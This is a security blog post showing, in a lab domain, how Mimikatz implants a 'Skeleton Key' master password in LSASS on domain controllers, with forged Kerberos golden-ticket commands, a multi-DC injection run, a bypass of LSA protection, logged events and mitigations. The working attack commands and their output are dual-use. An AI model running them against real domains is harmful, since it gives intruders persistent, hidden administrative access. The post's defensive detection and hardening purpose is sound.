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Jan 19

Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest

Categories:

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by [Sean Metcalf](#)

Once an attacker has gained Domain Admin rights to your Active Directory environment, there are several methods for keeping privileged access. Skeleton Key is an ideal persistence method for the modern attacker. More information on [Skeleton Key is in my earlier post](#).

Note that the behavior documented in this post was observed in a lab environment using the version of Mimikatz shown in the screenshot. There are likely differences in the Skeleton Key malware documented by Dell SecureWorks and the Mimikatz skeleton key functionality. Mimikatz effectively “patches” LSASS to enable use of a master password with any valid domain user. Rebooting the DC refreshes the memory which removes the “patch”.

Implanting the Mimikatz Skeleton Key on one or multiple Domain Controllers:

Mimikatz can now inject a skeleton key into LSASS on the Domain Controller by running the following command on the DC:

```
mimikatz.exe "privilege::debug" "misc::skeleton" exit
```

```
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> c:\temp\mimikatz\mimikatz "privilege::debug" "misc::skeleton" exit

.mimikatz. 2.0 alpha (x64) release "Kiwi en C" (Jan 17 2015 01:24:17)
.mimikatz. ^ .mimikatz.
.mimikatz. / * * *
.mimikatz. Benjamin DELPY 'gentilkiwi' < benjamin@gentilkiwi.com >
.mimikatz. http://blog.gentilkiwi.com/mimikatz <oe.eo>
.mimikatz. with 15 modules * * */

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # misc::skeleton
[KDC] data
[KDC] struct
[KDC] keys patch OK
[KDC] functions
[KDC] init patch OK
[KDC] decrypt patch OK

mimikatz(commandline) # exit
Bye!
PS C:\Windows\system32>
```

When there are multiple Domain Controllers in an Active Directory site, all of them need the Skeleton Key implant to ensure the skeleton key

master password is accepted as the user's valid password.. Since the client discovers a Domain Controller using DCLocator, the DC the client selects is effectively random. If all the DCs don't have skeleton key configured, the master password won't work when the client authenticates to a DC without skeleton key.

Scenario:

Either the attacker exploits [MS14-068](#), or has the [KRBtgt](#) NTLM password hash and uses it to generate a Kerberos Golden Ticket to impersonate a valid Domain Admin account. The attacker leverages the forged Kerberos TGT ticket to access the Domain Controllers via PowerShell remoting. PowerShell remoting runs over WinRM and provides a shell running on the remote computer (much like SSH). In this case, the attacker runs a PowerShell script that uses "invoke-command" to run the mimikatz command on the DCs.

```
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\JoelUser>cd temp\mimikatz\mimikatz "kerberos::golden /admin:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /krbtgt:7e2a0e20851d0229f2489210b6576ede /startoffset:-10 /endin:600 /renewmax:10000 /ptt" exit

##### mimikatz 2.0 alpha (x64) release "Kiwi en C" <Jan 17 2015 01:24:17>
##### ^ #####
##### < \ #####
##### \ / ##### Benjamin DELPY 'gentilkiwi' < benjamin@gentilkiwi.com >
##### v ##### http://blog.gentilkiwi.com/mimikatz (oe,so)
##### with 15 modules * * */

mimikatz(commandline) # kerberos::golden /admin:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /krbtgt:7e2a0e20851d0229f2489210b6576ede /startoffset:-10 /endin:600 /renewmax:10000 /ptt
User : LukeSkywalker
Domain : lab.adsecurity.org
SID : S-1-5-21-1473643419-774954089-2222329127
User Id : 1106
Groups Id : *513 512 520 518 519
ServiceKey: 7e2a0e20851d0229f2489210b6576ede - rc4_hmac_nt
Lifetime : 1/17/2015 11:56:49 PM ; 1/18/2015 9:56:49 AM ; 1/24/2015 11:56:49 PM
-> Ticket : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'LukeSkywalker @ lab.adsecurity.org' successfully submitted for current session
mimikatz(commandline) # exit
Bye!
```

```
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PS C:\Users\JoelUser> cd temp\scripts\Inject-SkeletonKeyDCs.ps1
Implanting Skeleton Key on DC ADSDC01.lab.adsecurity.org
Implanting Skeleton Key on DC ADSDC02.lab.adsecurity.org
Implanting Skeleton Key on DC ADSDC04.lab.adsecurity.org
Implanting Skeleton Key on DC ADSDC05.lab.adsecurity.org
PS C:\Users\JoelUser>
```

Domain Controller Security Events When Implanting the Mimikatz Skeleton Key:

When implanting the skeleton key remotely using [Mimikatz](#) the following events are logged on the Domain Controller.

Event Id 4673 Sensitive Privilege Use,

Audit Success 1/18/2015 12:12:33 AM Microsoft Windows security auditing. 4673 Sensitive Privilege Use

Event 4673, Microsoft Windows security auditing.

General Details

Subject:

- Security ID: SYSTEM
- Account Name: ADSDC02S
- Account Domain: ADSECLAB
- Logon ID: 0x3e7

Service:

- Server: NT Local Security Authority / Authentication Service
- Service Name: LsaRegisterLogonProcess()

Process:

- Process ID: 0x208
- Process Name: C:\Windows\System32\lsass.exe

Service Request Information:

- Privileges: SeTcbPrivilege

Log Name: Security

Source: Microsoft Windows security Logged: 1/18/2015 12:12:33 AM

Event ID: 4673 Task Category: Sensitive Privilege Use


Level: Information Keywords: Audit Success

User: N/A Computer: ADSDC02.lab.adsecurity.org

OpCode: Info


More Information: [Event Log Online Help](#)

Event 4611: A trusted logon process has been registered with the Local Security Authority.




If Process Tracking (logging) is enabled, there are two events that are logged reliably.

Event 4688: A new process has been created.



Event 4689: A new process has exited.



Authenticating with the Mimikatz Skeleton Key:

Testing user password and user account with skeleton key password.

Note that both passwords are accepted – the valid user password and the skeleton key master password!

```

C:\Users\JoeUser>net use k: \\admswin2k8r2.lab.adsecurity.org\shared Password99! /user:admin@lab.adsecurity.org
The command completed successfully.

C:\Users\JoeUser>net use * /delete
You have these remote connections:

K:                \\admswin2k8r2.lab.adsecurity.org\shared
Continuing will cancel the connections.
Do you want to continue this operation? (Y/N) [N]: y
The command completed successfully.

C:\Users\JoeUser>net use k: \\admswin2k8r2.lab.adsecurity.org\shared mimikatz /user:admin@lab.adsecurity.org
The command completed successfully.

C:\Users\JoeUser>_

```

Testing Domain Admin account with password & skeleton key password.

Note that both passwords are accepted – the valid user password and the skeleton key master password!

```

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\JoeUser>net use k: \\admswin2k8r2.lab.adsecurity.org\shared Password99! /user:joeuser@lab.adsecurity.org
The command completed successfully.

C:\Users\JoeUser>net use * /delete
You have these remote connections:

K:                \\admswin2k8r2.lab.adsecurity.org\shared
Continuing will cancel the connections.
Do you want to continue this operation? (Y/N) [N]: y
The command completed successfully.

C:\Users\JoeUser>net use k: \\admswin2k8r2.lab.adsecurity.org\shared mimikatz /user:joeuser@lab.adsecurity.org
The command completed successfully.

C:\Users\JoeUser>

```

Skeleton Key Mitigation:

- Protect domain-level admin (DLA) accounts (Domain Admin, Administrators, etc) which reduces the risk of attackers gaining access to these credentials. Don't let DLA accounts logon to systems at a different security level from Domain Controllers. Don't let services run as Domain Admin on member servers that aren't protected at the same level as DCs.
- Enable smart card authentication for all users.
- Ensure Domain Controllers have limited connectivity to the network until MS14-068 is patched ([kb3011780](#)). The challenge is that the patch has to be applied after DCPromo is complete.
- Security software that prevents LSASS patching may mitigate the issue.
- Application whitelisting (ex. AppLocker) can prevent unapproved applications from running on Domain Controllers.
- Enabling Process Logging on Domain Controllers provides additional data on what applications (exes) are executed on Domain Controllers.
- Enable [LSASS as a protected process on Windows Server 2012 R2](#) (Mimikatz can bypass with a driver, but that should make some noise in the event logs):

The LSA, which includes the Local Security Authority Server Service (LSASS) process, validates users for local and remote sign-ins and enforces local security policies. The Windows 8.1 operating system provides additional protection for the LSA to prevent reading memory and code injection by non-protected processes. This provides added security for the credentials that the LSA stores and manages.

To enable LSA protection on a single computer

1. Open the Registry Editor (RegEdit.exe), and navigate to the registry key that is located at: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa.
2. Set the value of the registry key to: "RunAsPPL"=dword:00000001.
3. Restart the computer.

To enable LSA protection using Group Policy

1. Open the Group Policy Management Console (GPMC).
2. Create a new GPO that is linked at the domain level or that is linked to the organizational unit that contains your computer accounts. Or you can select a GPO that is already deployed.
3. Right-click the GPO, and then click **Edit** to open the Group Policy Management Editor.
4. Expand **Computer Configuration**, expand **Preferences**, and then expand **Windows Settings**.
5. Right-click **Registry**, point to **New**, and then click **Registry Item**. The **New Registry Properties** dialog box appears.
6. In the **Hive** list, click **HKEY_LOCAL_MACHINE**.
7. In the **Key Path** list, browse to **SYSTEM\CurrentControlSet\Control\Lsa**.
8. In the **Value name** box, type **RunAsPPL**.
9. In the **Value type** box, click the **REG_DWORD**.
10. In the **Value data** box, type **00000001**.
11. Click **OK**.

Mimikatz bypassing LSA Protection:

```
mimikatz 2.0 alpha x64 (oe.eo)

##### minikatz 2.0 alpha <x64> release "Kiwi en C" <Jan 17 2015
### ^ ###
### / \ ###      /* * *
### \ / ###      Benjamin DELPY `gentilkiwi' < benjamin@gentilkiwi.com >
### v ###        http://blog.gentilkiwi.com/minikatz                (oe.eo)
#####          with 15 modules * * */

minikatz # privilege::debug
Privilege '20' OK

minikatz # misc::skeleton
ERROR kuhl_m_nisc_skeleton ; OpenProcess (0x00000005)

minikatz # !*
[*] minikatz driver not present
[+] minikatz driver successfully registered
[+] minikatz driver ACL to everyone
[+] minikatz driver started

minikatz # !processprotect /process:lsass.exe /remove
Process : lsass.exe
PID 460 -> 00/00 [0-0-0]

minikatz # nisc::skeleton
[KDC] data
[KDC] struct
[KDC] keys patch OK
[RC4] functions
[RC4] init patch OK
[RC4] decrypt patch OK

minikatz # coffee

<>
┌───┐
│   │
└───┘
```

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